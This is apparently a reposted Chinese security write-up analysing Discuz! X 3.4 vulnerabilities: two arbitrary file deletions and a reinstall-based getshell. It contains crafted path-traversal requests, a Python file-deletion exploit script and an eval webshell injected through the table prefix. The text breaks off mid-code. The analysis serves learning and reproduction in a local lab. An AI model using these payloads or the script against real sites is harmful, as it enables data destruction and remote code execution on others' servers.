Discuz X 3.4 系列漏洞梳理

您所在的位置:网站首页 discuz目录权限安全 Discuz X 3.4 系列漏洞梳理

Discuz X 3.4 系列漏洞梳理

2023-09-11 01:20| 来源: 网络整理| 查看: 265

分析了目前已经公开的Dz3.4系列漏洞,作为学习和记录。

转载至https://xz.aliyun.com/t/7492 Discuz!X ≤3.4 任意文件删除漏洞 1、简述

漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过。

漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复

2、复现环境

因为官方提供的下载是最新的源码,漏洞修复时间是17年9月29日,通过git找一个修复前的版本签出就可。

git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be

通过安装向导安装完后注册一个测试用户,同时在网站对应目录下创建用于删除的测试文件。

3、漏洞复现

登录账户。

访问该网页:http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base

发送POST请求:

http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base POST birthprovince=../../../testfile.txt&profilesubmit=1&formhash=e9d84225 formhash值为用户hash,可在源码中搜索formhash找到。

请求后表单中的出生地内容变为../../../testfile.txt

然后构造请求向home.php?mod=spacecp&ac=profile&op=base上传文件,可以修改表单提交达到目的。

提交后文件被删除。

4、漏洞分析

分析一下对该页面请求时的流程。

在home.php的41行有一次对其他文件的请求:

require_once libfile('home/'.$mod, 'module');

因为GET参数不满足上面代码的条件所以进入这部分。

查看libfile函数的定义:

function libfile($libname, $folder = '') { $libpath = '/source/'.$folder; if(strstr($libname, '/')) { list($pre, $name) = explode('/', $libname); $path = "{$libpath}/{$pre}/{$pre}_{$name}"; } else { $path = "{$libpath}/{$libname}"; } return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false; }

可以看出该函数的功能就是构造文件路径。

对于复现漏洞时请求页面的GET请求参数:mod=spacecp&ac=profile&op=base

在如上参数的请求时,经过libfile函数处理过后返回的路径为:/source/module/home/home_spacecp.php

跟进到/source/module/home/home_spacecp.php文件,在最后一行也引入了其他的文件,处理方式同上

require_once libfile('spacecp/'.$ac, 'include');

所以这里引入的文件为:/source/include/spacecp/spacecp_profile.php,转到该文件看看。

在第70行,存在如下条件判断,这里也就是页面上的保存按钮点击后触发的相关处理代码:

if(submitcheck('profilesubmit')) { ......

submitcheck函数是对profilesubmit的安全检查

function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) { if(!getgpc($var)) { return FALSE; } else { return helper_form::submitcheck($var, $allowget, $seccodecheck, $secqaacheck); } }

第187行开始是对文件上传的处理函数:

if($_FILES) { $upload = new discuz_upload(); foreach($_FILES as $key => $file) { ......

第207行开始:

if(!$upload->error()) { $upload->save(); if(!$upload->get_image_info($attach['target'])) { @unlink($attach['target']); continue; } $setarr[$key] = ''; $attach['attachment'] = dhtmlspecialchars(trim($attach['attachment'])); if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) { if(isset($verifyinfo['field'][$key])) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; } continue; } if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; continue; } @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); $setarr[$key] = $attach['attachment']; }

文件上传成功,满足!$upload->error(),会执行到unlink语句:

@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

这里的$key,在前面foreach($_FILES as $key => $file)中定义(189行)。$space在第23行定义,为用户个人资料。

$space = getuserbyuid($_G['uid']); space_merge($space, 'field_home'); space_merge($space, 'profile');

会从数据库查询用户相关的信息保存到变量$space中。birthprovince就是其中之一。

所以此时$space[key] = $space[birthprovince] = '../../../testfile.txt'

也就解释了复现时修改出生日期为目的文件路径的操作。

这样的话在这里就完成了文件删除的操作。

PS:更改用户信息时通过提交表单事时抓包可以看到各参数名称,可以进行修改。

5、Exp

exp改了半天也没有攻击成功,找了公开的exp也不成功,不知道是exp问题还是环境问题。

import requests import re import os def check_url(target_url): parameter = target_url.split('/') if parameter[-1] != "home.php": print("[*] Please make sure the url end with 'home.php'") exit() def get_cookie(target_url): cookie = input("[*] Please paste the cookie:").split(';') cookies = {} for i in range(0,len(cookie)): name,value=cookie[i].strip().split('=',1) cookies[name] = value loginurl = target_url + '?mod=spacecp' text = requests.get(target_url,cookies=cookies).text if '您需要先登录才能继续本操作' in text: print("[*] Login error,please check cookies!") else: return cookies def del_file(target_url,target_file,cookies): loginurl = target_url + '?mod=spacecp' text = requests.get(target_url,cookies=cookies).text reformhash = 'formhash=.*?&' patternformhash = re.compile(reformhash) formhash = patternformhash.search(text).group()[9:17] print(formhash) # set birthprovince birthprovinceurl = target_url + '?mod=spacecp&ac=profile' birthprovincedata ={ "birthprovince":target_file, "profilesubmit":"1", "formhash":formhash } requests.post(birthprovinceurl,cookies=cookies,data=birthprovincedata) # upload a picture and delete the target file basepath = os.path.abspath(os.path.dirname(__file__)) uploadurl = target_url + '?mod=spacecp&ac=profile&op=base' files = {'birthprovince': ("pic.png",open(basepath+'/1.png', 'rb'))} data = { 'formhash':formhash, 'profilesubmit':'1' } s=requests.post(uploadurl,cookies=cookies,data=data,files=files) print(s.text) print("[*] Deleting the file.") def exp(): try: target_url = input("[*] please input the target url(eg:http://xxxxx/home.php):") check_url(target_url) cookies,formhash = get_cookie(target_url) target_file = input("[*] Please input the target file:") del_file(target_url,target_file,cookies,formhash) except KeyError as e: print("This poc doesn't seem to work.") if __name__ == "__main__": exp() 5、修复方法

对比官方的代码变动,直接删除了几条unlink语句,简单暴力..

Discuz!X V3.4后台任意文件删除 1、简述

后台任意文件删除,需要有管理员的权限。

2、复现环境

同上

3、漏洞复现

登陆后台,进入论坛->模块管理->编辑板块,使用burp拦截提交的数据。

修改请求包,添加参数 &replybgnew=../../../testfile.txt&delreplybg=1

发送,查看文件发现被删除。

4、漏洞分析

分析一下该请求的流程。

请求URL:/dz/upload/admin.php?action=forums&operation=edit&fid=2&replybgnew=../../../testfile.txt&delreplybg=1

在admin.php中接收了action参数,在第58行经过admincpfile函数处理后返回文件路径,并包含该文件。

if($admincp->allow($action, $operation, $do) || $action == 'index') { require $admincp->admincpfile($action);

看一下该函数的处理过程:

function admincpfile($action) { return './source/admincp/admincp_'.$action.'.php'; }

经过处理返回的内容是:./source/admincp/admincp_forums.php,也就来到了漏洞存在的地方。

根据if/else的判断条件,进入else中的代码:

if(!submitcheck('detailsubmit')) { ...... } else{ }

造成漏洞的代码:

if(!$multiset) { if($_GET['delreplybg']) { $valueparse = parse_url($_GET['replybgnew']); if(!isset($valueparse['host']) && file_exists($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])) { @unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']); } $_GET['replybgnew'] = ''; }

$multiset默认为0,只要不给该参数赋值就满足条件进入if语句。

第二个if语句,检查GET参数delreplybg有没有内容,然后做了下检测,检测parse_url函数返回的结果中有没有host这个变量,来确保GET参数replybgnew不是url,但是并不影响传入文件路径。

这里$_G['setting']['attachurl'的值为data/attachment/,再拼接上common/和$_GET['replybgnew'],这样路径就可控了。通过unlink达到文件删除的目的。

任意文件删除配合install过程getshell 1、简述

这个方法是看到一篇博客分析的,主要是利用文件删除漏洞删掉install.lock文件,绕过对安装完成的判断能够再进行安装的过程,然后再填写配置信息处构使用构造的表前缀名,时一句话写入配置文件中,getshell。

表前缀:x');@eval($_POST[lanvnal]);('

但是我在使用上面版本v3.4的代码时发现,安装后install目录下不存在index.php了。分析代码发现会有安装后的删除处理,在/source/admincp/admincp_index.php的第14行:

if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) { @unlink(DISCUZ_ROOT.'./install/index.php'); if(@file_exists(DISCUZ_ROOT.'./install/index.php')) { dexit('Please delete install/index.php via FTP!'); } }

那是不是老版本存在该问题呢?

我翻了历史版本代码,直到git提交的第一个版本都有如上的处理。

但还是分析一下吧,就当学习了。

可以利用的条件:1、安装后没有登录后台,此时install/index还没删除 2、因为其他原因没有删除

2、复现环境

同上

3、漏洞复现

如果安装后install/index.php因为某些原因还存在,直接访问会有如下警告:

通过文件删除漏洞删除data目录下的install.lock文件就可以重新安装。

安装过程修改表前缀内容为:x');@eval($_POST[lanvnal]);('

在config/config_ucenter.php中已经写入了webshell。

4、漏洞分析

分析一下安装逻辑,install/index.php文件的整体流程如下:

分别是我们安装的每一步,接受协议->环境检测->是否安装 UCenter Server->数据库配置信息->安装过程,生成lock文件->检查

问题出在在 db_init 的处理中,在代码第369行:

if(DZUCFULL) { install_uc_server(); }

跟进install_uc_server,在1296行可以发现对config参数没做任何过滤传入到save_uc_config中:

save_uc_config($config, ROOT_PATH.'./config/config_ucenter.php');

然后save_uc_config也没做任何安全处理,就拼接参数后写入文件:

function save_uc_config($config, $file) { $success = false; list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = $config; $link = function_exists('mysql_connect') ? mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1) : new mysqli($ucdbhost, $ucdbuser, $ucdbpw, $ucdbname); $uc_connnect = $link ? 'mysql' : ''; $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8); $year = date('Y'); $config =


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3